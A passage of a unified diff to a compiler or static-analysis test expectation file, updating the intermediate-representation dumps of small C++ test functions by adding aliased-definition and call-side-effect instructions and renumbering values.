VariableAddress[e] : -# 561| r0_5(E) = Load : r0_4, m0_3 -# 561| r0_6(int) = Convert : r0_5 -# 561| v0_7(void) = Switch : r0_6 +# 560| mu0_1(unknown) = AliasedDefinition : +# 560| mu0_2(unknown) = UnmodeledDefinition : +# 560| r0_3(glval) = VariableAddress[e] : +# 560| m0_4(E) = InitializeParameter[e] : r0_3 +# 561| r0_5(glval) = VariableAddress[e] : +# 561| r0_6(E) = Load : r0_5, m0_4 +# 561| r0_7(int) = Convert : r0_6 +# 561| v0_8(void) = Switch : r0_7 #-----| Case[0] -> Block 4 #-----| Case[1] -> Block 2 #-----| Default -> Block 3 @@ -2516,414 +2552,446 @@ ir.cpp: # 571| InitArray() -> void # 571| Block 0 # 571| v0_0(void) = EnterFunction : -# 571| mu0_1(unknown) = UnmodeledDefinition : -# 572| r0_2(glval) = VariableAddress[a_pad] : -# 572| r0_3(glval) = StringConstant[""] : -# 572| r0_4(char[1]) = Load : r0_3, mu0_1 -# 572| mu0_5(char[1]) = Store : r0_2, r0_4 -# 572| r0_6(unknown[31]) = Constant[0] : -# 572| r0_7(int) = Constant[1] : -# 572| r0_8(glval) = PointerAdd : r0_2, r0_7 -# 572| mu0_9(unknown[31]) = Store : r0_8, r0_6 -# 573| r0_10(glval) = VariableAddress[a_nopad] : -# 573| r0_11(glval) = StringConstant["foo"] : -# 573| r0_12(char[4]) = Load : r0_11, mu0_1 -# 573| m0_13(char[4]) = Store : r0_10, r0_12 -# 574| r0_14(glval) = VariableAddress[a_infer] : -# 574| r0_15(glval) = StringConstant["blah"] : -# 574| r0_16(char[5]) = Load : r0_15, mu0_1 -# 574| m0_17(char[5]) = Store : r0_14, r0_16 -# 575| r0_18(glval) = VariableAddress[b] : -# 575| m0_19(char[2]) = Uninitialized : r0_18 -# 576| r0_20(glval) = VariableAddress[c] : -# 576| mu0_21(char[2]) = Uninitialized : r0_20 -# 576| r0_22(int) = Constant[0] : -# 576| r0_23(glval) = PointerAdd : r0_20, r0_22 -# 576| r0_24(unknown[2]) = Constant[0] : -# 576| mu0_25(unknown[2]) = Store : r0_23, r0_24 -# 577| r0_26(glval) = VariableAddress[d] : -# 577| mu0_27(char[2]) = Uninitialized : r0_26 -# 577| r0_28(int) = Constant[0] : -# 577| r0_29(glval) = PointerAdd : r0_26, r0_28 -# 577| r0_30(char) = Constant[0] : -# 577| mu0_31(char) = Store : r0_29, r0_30 -# 577| r0_32(int) = Constant[1] : -# 577| r0_33(glval) = PointerAdd : r0_26, r0_32 -# 577| r0_34(char) = Constant[0] : -# 577| mu0_35(char) = Store : r0_33, r0_34 -# 578| r0_36(glval) = VariableAddress[e] : -# 578| mu0_37(char[2]) = Uninitialized : r0_36 -# 578| r0_38(int) = Constant[0] : -# 578| r0_39(glval) = PointerAdd : r0_36, r0_38 -# 578| r0_40(char) = Constant[0] : -# 578| mu0_41(char) = Store : r0_39, r0_40 -# 578| r0_42(int) = Constant[1] : -# 578| r0_43(glval) = PointerAdd : r0_36, r0_42 -# 578| r0_44(char) = Constant[1] : -# 578| mu0_45(char) = Store : r0_43, r0_44 -# 579| r0_46(glval) = VariableAddress[f] : -# 579| mu0_47(char[3]) = Uninitialized : r0_46 -# 579| r0_48(int) = Constant[0] : -# 579| r0_49(glval) = PointerAdd : r0_46, r0_48 -# 579| r0_50(char) = Constant[0] : -# 579| mu0_51(char) = Store : r0_49, r0_50 -# 579| r0_52(int) = Constant[1] : -# 579| r0_53(glval) = PointerAdd : r0_46, r0_52 -# 579| r0_54(unknown[2]) = Constant[0] : -# 579| mu0_55(unknown[2]) = Store : r0_53, r0_54 -# 580| v0_56(void) = NoOp : -# 571| v0_57(void) = ReturnVoid : -# 571| v0_58(void) = UnmodeledUse : mu* -# 571| v0_59(void) = ExitFunction : +# 571| mu0_1(unknown) = AliasedDefinition : +# 571| mu0_2(unknown) = UnmodeledDefinition : +# 572| r0_3(glval) = VariableAddress[a_pad] : +# 572| r0_4(glval) = StringConstant[""] : +# 572| r0_5(char[1]) = Load : r0_4, mu0_2 +# 572| mu0_6(char[1]) = Store : r0_3, r0_5 +# 572| r0_7(unknown[31]) = Constant[0] : +# 572| r0_8(int) = Constant[1] : +# 572| r0_9(glval) = PointerAdd : r0_3, r0_8 +# 572| mu0_10(unknown[31]) = Store : r0_9, r0_7 +# 573| r0_11(glval) = VariableAddress[a_nopad] : +# 573| r0_12(glval) = StringConstant["foo"] : +# 573| r0_13(char[4]) = Load : r0_12, mu0_2 +# 573| m0_14(char[4]) = Store : r0_11, r0_13 +# 574| r0_15(glval) = VariableAddress[a_infer] : +# 574| r0_16(glval) = StringConstant["blah"] : +# 574| r0_17(char[5]) = Load : r0_16, mu0_2 +# 574| m0_18(char[5]) = Store : r0_15, r0_17 +# 575| r0_19(glval) = VariableAddress[b] : +# 575| m0_20(char[2]) = Uninitialized[b] : r0_19 +# 576| r0_21(glval) = VariableAddress[c] : +# 576| mu0_22(char[2]) = Uninitialized[c] : r0_21 +# 576| r0_23(int) = Constant[0] : +# 576| r0_24(glval) = PointerAdd : r0_21, r0_23 +# 576| r0_25(unknown[2]) = Constant[0] : +# 576| mu0_26(unknown[2]) = Store : r0_24, r0_25 +# 577| r0_27(glval) = VariableAddress[d] : +# 577| mu0_28(char[2]) = Uninitialized[d] : r0_27 +# 577| r0_29(int) = Constant[0] : +# 577| r0_30(glval) = PointerAdd : r0_27, r0_29 +# 577| r0_31(char) = Constant[0] : +# 577| mu0_32(char) = Store : r0_30, r0_31 +# 577| r0_33(int) = Constant[1] : +# 577| r0_34(glval) = PointerAdd : r0_27, r0_33 +# 577| r0_35(char) = Constant[0] : +# 577| mu0_36(char) = Store : r0_34, r0_35 +# 578| r0_37(glval) = VariableAddress[e] : +# 578| mu0_38(char[2]) = Uninitialized[e] : r0_37 +# 578| r0_39(int) = Constant[0] : +# 578| r0_40(glval) = PointerAdd : r0_37, r0_39 +# 578| r0_41(char) = Constant[0] : +# 578| mu0_42(char) = Store : r0_40, r0_41 +# 578| r0_43(int) = Constant[1] : +# 578| r0_44(glval) = PointerAdd : r0_37, r0_43 +# 578| r0_45(char) = Constant[1] : +# 578| mu0_46(char) = Store : r0_44, r0_45 +# 579| r0_47(glval) = VariableAddress[f] : +# 579| mu0_48(char[3]) = Uninitialized[f] : r0_47 +# 579| r0_49(int) = Constant[0] : +# 579| r0_50(glval) = PointerAdd : r0_47, r0_49 +# 579| r0_51(char) = Constant[0] : +# 579| mu0_52(char) = Store : r0_50, r0_51 +# 579| r0_53(int) = Constant[1] : +# 579| r0_54(glval) = PointerAdd : r0_47, r0_53 +# 579| r0_55(unknown[2]) = Constant[0] : +# 579| mu0_56(unknown[2]) = Store : r0_54, r0_55 +# 580| v0_57(void) = NoOp : +# 571| v0_58(void) = ReturnVoid : +# 571| v0_59(void) = UnmodeledUse : mu* +# 571| v0_60(void) = ExitFunction : # 584| VarArgs() -> void # 584| Block 0 # 584| v0_0(void) = EnterFunction : -# 584| mu0_1(unknown) = UnmodeledDefinition : -# 585| r0_2(glval) = FunctionAddress[VarArgFunction] : -# 585| r0_3(glval) = StringConstant["%d %s"] : -# 585| r0_4(char *) = Convert : r0_3 -# 585| r0_5(int) = Constant[1] : -# 585| r0_6(glval) = StringConstant["string"] : -# 585| r0_7(char *) = Convert : r0_6 -# 585| v0_8(void) = Call : r0_2, r0_4, r0_5, r0_7 -# 586| v0_9(void) = NoOp : -# 584| v0_10(void) = ReturnVoid : -# 584| v0_11(void) = UnmodeledUse : mu* -# 584| v0_12(void) = ExitFunction : +# 584| mu0_1(unknown) = AliasedDefinition : +# 584| mu0_2(unknown) = UnmodeledDefinition : +# 585| r0_3(glval) = FunctionAddress[VarArgFunction] : +# 585| r0_4(glval) = StringConstant["%d %s"] : +# 585| r0_5(char *) = Convert : r0_4 +# 585| r0_6(int) = Constant[1] : +# 585| r0_7(glval) = StringConstant["string"] : +# 585| r0_8(char *) = Convert : r0_7 +# 585| v0_9(void) = Call : r0_3, r0_5, r0_6, r0_8 +# 585| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 586| v0_11(void) = NoOp : +# 584| v0_12(void) = ReturnVoid : +# 584| v0_13(void) = UnmodeledUse : mu* +# 584| v0_14(void) = ExitFunction : # 590| SetFuncPtr() -> void # 590| Block 0 # 590| v0_0(void) = EnterFunction : -# 590| mu0_1(unknown) = UnmodeledDefinition : -# 591| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 591| r0_3(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 591| m0_4(..(*)(..)) = Store : r0_2, r0_3 -# 592| r0_5(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 592| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 592| m0_7(..(*)(..)) = Store : r0_6, r0_5 -# 593| r0_8(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 593| r0_9(glval<..(*)(..)>) = VariableAddress[pfn] : -# 593| m0_10(..(*)(..)) = Store : r0_9, r0_8 -# 594| r0_11(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 594| r0_12(glval<..(*)(..)>) = VariableAddress[pfn] : -# 594| m0_13(..(*)(..)) = Store : r0_12, r0_11 -# 595| v0_14(void) = NoOp : -# 590| v0_15(void) = ReturnVoid : -# 590| v0_16(void) = UnmodeledUse : mu* -# 590| v0_17(void) = ExitFunction : +# 590| mu0_1(unknown) = AliasedDefinition : +# 590| mu0_2(unknown) = UnmodeledDefinition : +# 591| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 591| r0_4(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 591| m0_5(..(*)(..)) = Store : r0_3, r0_4 +# 592| r0_6(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 592| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 592| m0_8(..(*)(..)) = Store : r0_7, r0_6 +# 593| r0_9(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 593| r0_10(glval<..(*)(..)>) = VariableAddress[pfn] : +# 593| m0_11(..(*)(..)) = Store : r0_10, r0_9 +# 594| r0_12(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 594| r0_13(glval<..(*)(..)>) = VariableAddress[pfn] : +# 594| m0_14(..(*)(..)) = Store : r0_13, r0_12 +# 595| v0_15(void) = NoOp : +# 590| v0_16(void) = ReturnVoid : +# 590| v0_17(void) = UnmodeledUse : mu* +# 590| v0_18(void) = ExitFunction : # 615| DeclareObject() -> void # 615| Block 0 # 615| v0_0(void) = EnterFunction : -# 615| mu0_1(unknown) = UnmodeledDefinition : -# 616| r0_2(glval) = VariableAddress[s1] : -# 616| r0_3(glval) = FunctionAddress[String] : -# 616| v0_4(void) = Call : r0_3, this:r0_2 -# 617| r0_5(glval) = VariableAddress[s2] : -# 617| r0_6(glval) = FunctionAddress[String] : -# 617| r0_7(glval) = StringConstant["hello"] : -# 617| r0_8(char *) = Convert : r0_7 -# 617| v0_9(void) = Call : r0_6, this:r0_5, r0_8 -# 618| r0_10(glval) = VariableAddress[s3] : -# 618| r0_11(glval) = FunctionAddress[ReturnObject] : -# 618| r0_12(String) = Call : r0_11 -# 618| m0_13(String) = Store : r0_10, r0_12 -# 619| r0_14(glval) = VariableAddress[s4] : -# 619| r0_15(glval) = FunctionAddress[String] : -# 619| r0_16(glval) = StringConstant["test"] : -# 619| r0_17(char *) = Convert : r0_16 -# 619| v0_18(void) = Call : r0_15, this:r0_14, r0_17 -# 620| v0_19(void) = NoOp : -# 615| v0_20(void) = ReturnVoid : -# 615| v0_21(void) = UnmodeledUse : mu* -# 615| v0_22(void) = ExitFunction : +# 615| mu0_1(unknown) = AliasedDefinition : +# 615| mu0_2(unknown) = UnmodeledDefinition : +# 616| r0_3(glval) = VariableAddress[s1] : +# 616| r0_4(glval) = FunctionAddress[String] : +# 616| v0_5(void) = Call : r0_4, this:r0_3 +# 616| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 617| r0_7(glval) = VariableAddress[s2] : +# 617| r0_8(glval) = FunctionAddress[String] : +# 617| r0_9(glval) = StringConstant["hello"] : +# 617| r0_10(char *) = Convert : r0_9 +# 617| v0_11(void) = Call : r0_8, this:r0_7, r0_10 +# 617| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 618| r0_13(glval) = VariableAddress[s3] : +# 618| r0_14(glval) = FunctionAddress[ReturnObject] : +# 618| r0_15(String) = Call : r0_14 +# 618| mu0_16(unknown) = ^CallSideEffect : mu0_2 +# 618| m0_17(String) = Store : r0_13, r0_15 +# 619| r0_18(glval) = VariableAddress[s4] : +# 619| r0_19(glval) = FunctionAddress[String] : +# 619| r0_20(glval) = StringConstant["test"] : +# 619| r0_21(char *) = Convert : r0_20 +# 619| v0_22(void) = Call : r0_19, this:r0_18, r0_21 +# 619| mu0_23(unknown) = ^CallSideEffect : mu0_2 +# 620| v0_24(void) = NoOp : +# 615| v0_25(void) = ReturnVoid : +# 615| v0_26(void) = UnmodeledUse : mu* +# 615| v0_27(void) = ExitFunction : # 622| CallMethods(String &, String *, String) -> void # 622| Block 0 # 622| v0_0(void) = EnterFunction : -# 622| mu0_1(unknown) = UnmodeledDefinition : -# 622| r0_2(glval) = VariableAddress[r] : -# 622| m0_3(String &) = InitializeParameter[r] : r0_2 -# 622| r0_4(glval) = VariableAddress[p] : -# 622| m0_5(String *) = InitializeParameter[p] : r0_4 -# 622| r0_6(glval) = VariableAddress[s] : -# 622| mu0_7(String) = InitializeParameter[s] : r0_6 -# 623| r0_8(glval) = VariableAddress[r] : -# 623| r0_9(String &) = Load : r0_8, m0_3 -# 623| r0_10(glval) = Convert : r0_9 -# 623| r0_11(glval) = FunctionAddress[c_str] : -# 623| r0_12(char *) = Call : r0_11, this:r0_10 -# 624| r0_13(glval) = VariableAddress[p] : -# 624| r0_14(String *) = Load : r0_13, m0_5 -# 624| r0_15(String *) = Convert : r0_14 -# 624| r0_16(glval) = FunctionAddress[c_str] : -# 624| r0_17(char *) = Call : r0_16, this:r0_15 -# 625| r0_18(glval) = VariableAddress[s] : -# 625| r0_19(glval) = Convert : r0_18 -# 625| r0_20(glval) = FunctionAddress[c_str] : -# 625| r0_21(char *) = Call : r0_20, this:r0_19 -# 626| v0_22(void) = NoOp : -# 622| v0_23(void) = ReturnVoid : -# 622| v0_24(void) = UnmodeledUse : mu* -# 622| v0_25(void) = ExitFunction : +# 622| mu0_1(unknown) = AliasedDefinition : +# 622| mu0_2(unknown) = UnmodeledDefinition : +# 622| r0_3(glval) = VariableAddress[r] : +# 622| m0_4(String &) = InitializeParameter[r] : r0_3 +# 622| r0_5(glval) = VariableAddress[p] : +# 622| m0_6(String *) = InitializeParameter[p] : r0_5 +# 622| r0_7(glval) = VariableAddress[s] : +# 622| mu0_8(String) = InitializeParameter[s] : r0_7 +# 623| r0_9(glval) = VariableAddress[r] : +# 623| r0_10(String &) = Load : r0_9, m0_4 +# 623| r0_11(glval) = Convert : r0_10 +# 623| r0_12(glval) = FunctionAddress[c_str] : +# 623| r0_13(char *) = Call : r0_12, this:r0_11 +# 623| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 624| r0_15(glval) = VariableAddress[p] : +# 624| r0_16(String *) = Load : r0_15, m0_6 +# 624| r0_17(String *) = Convert : r0_16 +# 624| r0_18(glval) = FunctionAddress[c_str] : +# 624| r0_19(char *) = Call : r0_18, this:r0_17 +# 624| mu0_20(unknown) = ^CallSideEffect : mu0_2 +# 625| r0_21(glval) = VariableAddress[s] : +# 625| r0_22(glval) = Convert : r0_21 +# 625| r0_23(glval) = FunctionAddress[c_str] : +# 625| r0_24(char *) = Call : r0_23, this:r0_22 +# 625| mu0_25(unknown) = ^CallSideEffect : mu0_2 +# 626| v0_26(void) = NoOp : +# 622| v0_27(void) = ReturnVoid : +# 622| v0_28(void) = UnmodeledUse : mu* +# 622| v0_29(void) = ExitFunction : # 630| C::StaticMemberFunction(int) -> int # 630| Block 0 # 630| v0_0(void) = EnterFunction : -# 630| mu0_1(unknown) = UnmodeledDefinition : -# 630| r0_2(glval) = VariableAddress[x] : -# 630| m0_3(int) = InitializeParameter[x] : r0_2 -# 631| r0_4(glval) = VariableAddress[#return] : -# 631| r0_5(glval) = VariableAddress[x] : -# 631| r0_6(int) = Load : r0_5, m0_3 -# 631| m0_7(int) = Store : r0_4, r0_6 -# 630| r0_8(glval) = VariableAddress[#return] : -# 630| v0_9(void) = ReturnValue : r0_8, m0_7 -# 630| v0_10(void) = UnmodeledUse : mu* -# 630| v0_11(void) = ExitFunction : +# 630| mu0_1(unknown) = AliasedDefinition : +# 630| mu0_2(unknown) = UnmodeledDefinition : +# 630| r0_3(glval) = VariableAddress[x] : +# 630| m0_4(int) = InitializeParameter[x] : r0_3 +# 631| r0_5(glval) = VariableAddress[#return] : +# 631| r0_6(glval) = VariableAddress[x] : +# 631| r0_7(int) = Load : r0_6, m0_4 +# 631| m0_8(int) = Store : r0_5, r0_7 +# 630| r0_9(glval) = VariableAddress[#return] : +# 630| v0_10(void) = ReturnValue : r0_9, m0_8 +# 630| v0_11(void) = UnmodeledUse : mu* +# 630| v0_12(void) = ExitFunction : # 634| C::InstanceMemberFunction(int) -> int # 634| Block 0 -# 634| v0_0(void) = EnterFunction : -# 634| mu0_1(unknown) = UnmodeledDefinition : -# 634| r0_2(glval) = InitializeThis : -# 634| r0_3(glval) = VariableAddress[x] : -# 634| m0_4(int) = InitializeParameter[x] : r0_3 -# 635| r0_5(glval) = VariableAddress[#return] : -# 635| r0_6(glval) = VariableAddress[x] : -# 635| r0_7(int) = Load : r0_6, m0_4 -# 635| m0_8(int) = Store : r0_5, r0_7 -# 634| r0_9(glval) = VariableAddress[#return] : -# 634| v0_10(void) = ReturnValue : r0_9, m0_8 -# 634| v0_11(void) = UnmodeledUse : mu* -# 634| v0_12(void) = ExitFunction : +# 634| v0_0(void) = EnterFunction : +# 634| mu0_1(unknown) = AliasedDefinition : +# 634| mu0_2(unknown) = UnmodeledDefinition : +# 634| r0_3(glval) = InitializeThis : +# 634| r0_4(glval) = VariableAddress[x] : +# 634| m0_5(int) = InitializeParameter[x] : r0_4 +# 635| r0_6(glval) = VariableAddress[#return] : +# 635| r0_7(glval) = VariableAddress[x] : +# 635| r0_8(int) = Load : r0_7, m0_5 +# 635| m0_9(int) = Store : r0_6, r0_8 +# 634| r0_10(glval) = VariableAddress[#return] : +# 634| v0_11(void) = ReturnValue : r0_10, m0_9 +# 634| v0_12(void) = UnmodeledUse : mu* +# 634| v0_13(void) = ExitFunction : # 638| C::VirtualMemberFunction(int) -> int # 638| Block 0 -# 638| v0_0(void) = EnterFunction : -# 638| mu0_1(unknown) = UnmodeledDefinition : -# 638| r0_2(glval) = InitializeThis : -# 638| r0_3(glval) = VariableAddress[x] : -# 638| m0_4(int) = InitializeParameter[x] : r0_3 -# 639| r0_5(glval) = VariableAddress[#return] : -# 639| r0_6(glval) = VariableAddress[x] : -# 639| r0_7(int) = Load : r0_6, m0_4 -# 639| m0_8(int) = Store : r0_5, r0_7 -# 638| r0_9(glval) = VariableAddress[#return] : -# 638| v0_10(void) = ReturnValue : r0_9, m0_8 -# 638| v0_11(void) = UnmodeledUse : mu* -# 638| v0_12(void) = ExitFunction : +# 638| v0_0(void) = EnterFunction : +# 638| mu0_1(unknown) = AliasedDefinition : +# 638| mu0_2(unknown) = UnmodeledDefinition : +# 638| r0_3(glval) = InitializeThis : +# 638| r0_4(glval) = VariableAddress[x] : +# 638| m0_5(int) = InitializeParameter[x] : r0_4 +# 639| r0_6(glval) = VariableAddress[#return] : +# 639| r0_7(glval) = VariableAddress[x] : +# 639| r0_8(int) = Load : r0_7, m0_5 +# 639| m0_9(int) = Store : r0_6, r0_8 +# 638| r0_10(glval) = VariableAddress[#return] : +# 638| v0_11(void) = ReturnValue : r0_10, m0_9 +# 638| v0_12(void) = UnmodeledUse : mu* +# 638| v0_13(void) = ExitFunction : # 642| C::FieldAccess() -> void # 642| Block 0 # 642| v0_0(void) = EnterFunction : -# 642| mu0_1(unknown) = UnmodeledDefinition : -# 642| r0_2(glval) = InitializeThis : -# 643| r0_3(int) = Constant[0] : -# 643| r0_4(C *) = CopyValue : r0_2 -# 643| r0_5(glval) = FieldAddress[m_a] : r0_4 -# 643| mu0_6(int) = Store : r0_5, r0_3 -# 644| r0_7(int) = Constant[1] : -# 644| r0_8(C *) = CopyValue : r0_2 -# 644| r0_9(glval) = FieldAddress[m_a] : r0_8 -# 644| mu0_10(int) = Store : r0_9, r0_7 -# 645| r0_11(int) = Constant[2] : -#-----| r0_12(C *) = CopyValue : r0_2 -# 645| r0_13(glval) = FieldAddress[m_a] : r0_12 -# 645| mu0_14(int) = Store : r0_13, r0_11 -# 646| r0_15(glval) = VariableAddress[x] : -# 646| m0_16(int) = Uninitialized : r0_15 -# 647| r0_17(C *) = CopyValue : r0_2 -# 647| r0_18(glval) = FieldAddress[m_a] : r0_17 -# 647| r0_19(int) = Load : r0_18, mu0_1 -# 647| r0_20(glval) = VariableAddress[x] : -# 647| m0_21(int) = Store : r0_20, r0_19 -# 648| r0_22(C *) = CopyValue : r0_2 -# 648| r0_23(glval) = FieldAddress[m_a] : r0_22 -# 648| r0_24(int) = Load : r0_23, mu0_1 -# 648| r0_25(glval) = VariableAddress[x] : -# 648| m0_26(int) = Store : r0_25, r0_24 -#-----| r0_27(C *) = CopyValue : r0_2 -# 649| r0_28(glval) = FieldAddress[m_a] : r0_27 -# 649| r0_29(int) = Load : r0_28, mu0_1 -# 649| r0_30(glval) = VariableAddress[x] : -# 649| m0_31(int) = Store : r0_30, r0_29 -# 650| v0_32(void) = NoOp : -# 642| v0_33(void) = ReturnVoid : -# 642| v0_34(void) = UnmodeledUse : mu* -# 642| v0_35(void) = ExitFunction : +# 642| mu0_1(unknown) = AliasedDefinition : +# 642| mu0_2(unknown) = UnmodeledDefinition : +# 642| r0_3(glval) = InitializeThis : +# 643| r0_4(int) = Constant[0] : +# 643| r0_5(C *) = CopyValue : r0_3 +# 643| r0_6(glval) = FieldAddress[m_a] : r0_5 +# 643| mu0_7(int) = Store : r0_6, r0_4 +# 644| r0_8(int) = Constant[1] : +# 644| r0_9(C *) = CopyValue : r0_3 +# 644| r0_10(glval) = FieldAddress[m_a] : r0_9 +# 644| mu0_11(int) = Store : r0_10, r0_8 +# 645| r0_12(int) = Constant[2] : +#-----| r0_13(C *) = CopyValue : r0_3 +# 645| r0_14(glval) = FieldAddress[m_a] : r0_13 +# 645| mu0_15(int) = Store : r0_14, r0_12 +# 646| r0_16(glval) = VariableAddress[x] : +# 646| m0_17(int) = Uninitialized[x] : r0_16 +# 647| r0_18(C *) = CopyValue : r0_3 +# 647| r0_19(glval) = FieldAddress[m_a] : r0_18 +# 647| r0_20(int) = Load : r0_19, mu0_2 +# 647| r0_21(glval) = VariableAddress[x] : +# 647| m0_22(int) = Store : r0_21, r0_20 +# 648| r0_23(C *) = CopyValue : r0_3 +# 648| r0_24(glval) = FieldAddress[m_a] : r0_23 +# 648| r0_25(int) = Load : r0_24, mu0_2 +# 648| r0_26(glval) = VariableAddress[x] : +# 648| m0_27(int) = Store : r0_26, r0_25 +#-----| r0_28(C *) = CopyValue : r0_3 +# 649| r0_29(glval) = FieldAddress[m_a] : r0_28 +# 649| r0_30(int) = Load : r0_29, mu0_2 +# 649| r0_31(glval) = VariableAddress[x] : +# 649| m0_32(int) = Store : r0_31, r0_30 +# 650| v0_33(void) = NoOp : +# 642| v0_34(void) = ReturnVoid : +# 642| v0_35(void) = UnmodeledUse : mu* +# 642| v0_36(void) = ExitFunction : # 652| C::MethodCalls() -> void # 652| Block 0 # 652| v0_0(void) = EnterFunction : -# 652| mu0_1(unknown) = UnmodeledDefinition : -# 652| r0_2(glval) = InitializeThis : -# 653| r0_3(C *) = CopyValue : r0_2 -# 653| r0_4(glval) = FunctionAddress[InstanceMemberFunction] : -# 653| r0_5(int) = Constant[0] : -# 653| r0_6(int) = Call : r0_4, this:r0_3, r0_5 -# 654| r0_7(C *) = CopyValue : r0_2 -# 654| r0_8(glval) = FunctionAddress[InstanceMemberFunction] : -# 654| r0_9(int) = Constant[1] : -# 654| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -#-----| r0_11(C *) = CopyValue : r0_2 -# 655| r0_12(glval) = FunctionAddress[InstanceMemberFunction] : -# 655| r0_13(int) = Constant[2] : -# 655| r0_14(int) = Call : r0_12, this:r0_11, r0_13 -# 656| v0_15(void) = NoOp : -# 652| v0_16(void) = ReturnVoid : -# 652| v0_17(void) = UnmodeledUse : mu* -# 652| v0_18(void) = ExitFunction : +# 652| mu0_1(unknown) = AliasedDefinition : +# 652| mu0_2(unknown) = UnmodeledDefinition : +# 652| r0_3(glval) = InitializeThis : +# 653| r0_4(C *) = CopyValue : r0_3 +# 653| r0_5(glval) = FunctionAddress[InstanceMemberFunction] : +# 653| r0_6(int) = Constant[0] : +# 653| r0_7(int) = Call : r0_5, this:r0_4, r0_6 +# 653| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 654| r0_9(C *) = CopyValue : r0_3 +# 654| r0_10(glval) = FunctionAddress[InstanceMemberFunction] : +# 654| r0_11(int) = Constant[1] : +# 654| r0_12(int) = Call : r0_10, this:r0_9, r0_11 +# 654| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(C *) = CopyValue : r0_3 +# 655| r0_15(glval) = FunctionAddress[InstanceMemberFunction] : +# 655| r0_16(int) = Constant[2] : +# 655| r0_17(int) = Call : r0_15, this:r0_14, r0_16 +# 655| mu0_18(unknown) = ^CallSideEffect : mu0_2 +# 656| v0_19(void) = NoOp : +# 652| v0_20(void) = ReturnVoid : +# 652| v0_21(void) = UnmodeledUse : mu* +# 652| v0_22(void) = ExitFunction : # 658| C::C() -> void # 658| Block 0 # 658| v0_0(void) = EnterFunction : -# 658| mu0_1(unknown) = UnmodeledDefinition : -# 658| r0_2(glval) = InitializeThis : -# 659| r0_3(glval) = FieldAddress[m_a] : r0_2 -# 659| r0_4(int) = Constant[1] : -# 659| mu0_5(int) = Store : r0_3, r0_4 -# 663| r0_6(glval) = FieldAddress[m_b] : r0_2 -# 663| r0_7(glval) = FunctionAddress[String] : -# 663| v0_8(void) = Call : r0_7, this:r0_6 -# 660| r0_9(glval) = FieldAddress[m_c] : r0_2 -# 660| r0_10(char) = Constant[3] : -# 660| mu0_11(char) = Store : r0_9, r0_10 -# 661| r0_12(glval) = FieldAddress[m_e] : r0_2 -# 661| r0_13(void *) = Constant[0] : -# 661| mu0_14(void *) = Store : r0_12, r0_13 -# 662| r0_15(glval) = FieldAddress[m_f] : r0_2 -# 662| r0_16(glval) = FunctionAddress[String] : -# 662| r0_17(glval) = StringConstant["test"] : -# 662| r0_18(char *) = Convert : r0_17 -# 662| v0_19(void) = Call : r0_16, this:r0_15, r0_18 -# 664| v0_20(void) = NoOp : -# 658| v0_21(void) = ReturnVoid : -# 658| v0_22(void) = UnmodeledUse : mu* -# 658| v0_23(void) = ExitFunction : +# 658| mu0_1(unknown) = AliasedDefinition : +# 658| mu0_2(unknown) = UnmodeledDefinition : +# 658| r0_3(glval) = InitializeThis : +# 659| r0_4(glval) = FieldAddress[m_a] : r0_3 +# 659| r0_5(int) = Constant[1] : +# 659| mu0_6(int) = Store : r0_4, r0_5 +# 663| r0_7(glval) = FieldAddress[m_b] : r0_3 +# 663| r0_8(glval) = FunctionAddress[String] : +# 663| v0_9(void) = Call : r0_8, this:r0_7 +# 663| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 660| r0_11(glval) = FieldAddress[m_c] : r0_3 +# 660| r0_12(char) = Constant[3] : +# 660| mu0_13(char) = Store : r0_11, r0_12 +# 661| r0_14(glval) = FieldAddress[m_e] : r0_3 +# 661| r0_15(void *) = Constant[0] : +# 661| mu0_16(void *) = Store : r0_14, r0_15 +# 662| r0_17(glval) = FieldAddress[m_f] : r0_3 +# 662| r0_18(glval) = FunctionAddress[String] : +# 662| r0_19(glval) = StringConstant["test"] : +# 662| r0_20(char *) = Convert : r0_19 +# 662| v0_21(void) = Call : r0_18, this:r0_17, r0_20 +# 662| mu0_22(unknown) = ^CallSideEffect : mu0_2 +# 664| v0_23(void) = NoOp : +# 658| v0_24(void) = ReturnVoid : +# 658| v0_25(void) = UnmodeledUse : mu* +# 658| v0_26(void) = ExitFunction : # 675| DerefReference(int &) -> int # 675| Block 0 # 675| v0_0(void) = EnterFunction : -# 675| mu0_1(unknown) = UnmodeledDefinition : -# 675| r0_2(glval) = VariableAddress[r] : -# 675| m0_3(int &) = InitializeParameter[r] : r0_2 -# 676| r0_4(glval) = VariableAddress[#return] : -# 676| r0_5(glval) = VariableAddress[r] : -# 676| r0_6(int &) = Load : r0_5, m0_3 -# 676| r0_7(int) = Load : r0_6, mu0_1 -# 676| m0_8(int) = Store : r0_4, r0_7 -# 675| r0_9(glval) = VariableAddress[#return] : -# 675| v0_10(void) = ReturnValue : r0_9, m0_8 -# 675| v0_11(void) = UnmodeledUse : mu* -# 675| v0_12(void) = ExitFunction : +# 675| mu0_1(unknown) = AliasedDefinition : +# 675| mu0_2(unknown) = UnmodeledDefinition : +# 675| r0_3(glval) = VariableAddress[r] : +# 675| m0_4(int &) = InitializeParameter[r] : r0_3 +# 676| r0_5(glval) = VariableAddress[#return] : +# 676| r0_6(glval) = VariableAddress[r] : +# 676| r0_7(int &) = Load : r0_6, m0_4 +# 676| r0_8(int) = Load : r0_7, mu0_2 +# 676| m0_9(int) = Store : r0_5, r0_8 +# 675| r0_10(glval) = VariableAddress[#return] : +# 675| v0_11(void) = ReturnValue : r0_10, m0_9 +# 675| 